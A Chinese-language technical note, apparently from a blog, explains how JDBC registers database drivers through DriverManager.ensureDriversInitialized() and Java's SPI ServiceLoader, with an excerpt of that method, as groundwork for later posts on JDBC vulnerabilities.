所以 forName 只是为了达到注册的目的, 其他可以初始化驱动类的方法也是可行的. 并且其实实际上可以省略这个 forName, 因为在 DriverManager 调用 getConnection 方法时, 会检查驱动类是否存在, 我们可以跟进源码看看, 这里就不列了. 链路大致是:

Connection connection = DriverManager.getConnection(url, user, password)
-> public static Connection getConnection(String url, String user, String password)
-> private static Connection getConnection(String url, Properties info, Class<?> caller)
-> private static void ensureDriversInitialized()

寻找 ensureDriversInitialized() 的源码, github 上有: DriverManager.java; 接下来就能找到其中已经进行了驱动发现, 读取驱动名单, 创建 SPI 服务加载器的操作.

Java SPI(Service Provider Interface) 是 java.util.ServiceLoader 类提供的 SPI 机制, 其负责按接口发现并加载实现类. 这里就是一个例子, 流程大致如下:

  1. 调用 DriverManager.getConnection(...), 内部调用 ensureDriversInitialized()

  2. ensureDriversInitialized() 部分源码:

    java
    private static void ensureDriversInitialized() {
            // ...
                ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);
        		// Driver 即 java.sql.Driver, 因为这个函数是在 java.sql 包中的.
        		// ServiceLoader 负责发现和实例化 Driver
                Iterator<Driver> driversIterator = loadedDrivers.iterator();
    
                try {
                    while (driversIterator.hasNext()) {
                        driversIterator.next(); // 这里就会初始化类, 也就是注册驱动
                    }
                } catch (Throwable t) {
                    // Do nothing
                }
    
                println("DriverManager.initialize: jdbc.drivers = " + drivers);
    
                //...
        }

这就是 JDBC 的基本概念和用法, 之后会记录其相关的漏洞之类, 这里当作基础知识.